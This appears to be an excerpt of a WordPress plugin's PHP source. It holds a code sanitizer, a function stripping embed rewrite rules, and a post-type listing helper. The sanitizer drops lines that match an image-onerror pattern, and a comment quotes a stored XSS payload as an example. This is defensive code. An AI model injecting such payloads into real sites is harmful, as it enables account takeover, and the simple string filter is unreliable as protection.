764 } else {
765 if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
766 // Do nothing. Do not include the code line in the sanitized code.
767 // Example of malicious code:
768 // 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
769 // This may entail account takeover backdoor
770 } else {
771 $sanitized_code_lines[] = $code_line;
772 }
773 }
774 }
775 $sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
776 return $sanitized_code;
777 }
778
779 /**
780 * Part of Disable Embeds module
781 * Remove all rewrite rules related to embeds.
782 * During deactivation / activation.
783 *
784 * @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
785 * @since 8.0.0
786 *
787 * @param array $rules WordPress rewrite rules.
788 * @return array Rewrite rules without embeds rules.
789 */
790 public function disable_embeds_rewrites( $rules ) {
791 foreach ( $rules as $rule => $rewrite ) {
792 if ( false !== strpos( $rewrite, 'embed=true' ) ) {
793 unset($rules[$rule]);
794 }
795 }
796 return $rules;
797 }
798
799 /**
800 * Get an indexed array of public post type slug => label pairs
801 *
802 * @since 8.0.1
803 */
804 public function get_public_post_type_slugs() {
805 $asenha_public_post_types = array();
806 $public_post_type_names = get_post_types( array(
807 'public' => true,
808 ), 'names' );
809 foreach ( $public_post_type_names as $post_type_name ) {
810 $post_type_object = get_post_type_object( $post_type_name );
811 $asenha_public_post_types[$post_type_name] = $post_type_object->label;
812 }
813 asort( $asenha_public_post_types );
814 // sort by value, ascending
815 return $asenha_public_post_types;
816 }
817
818 }
819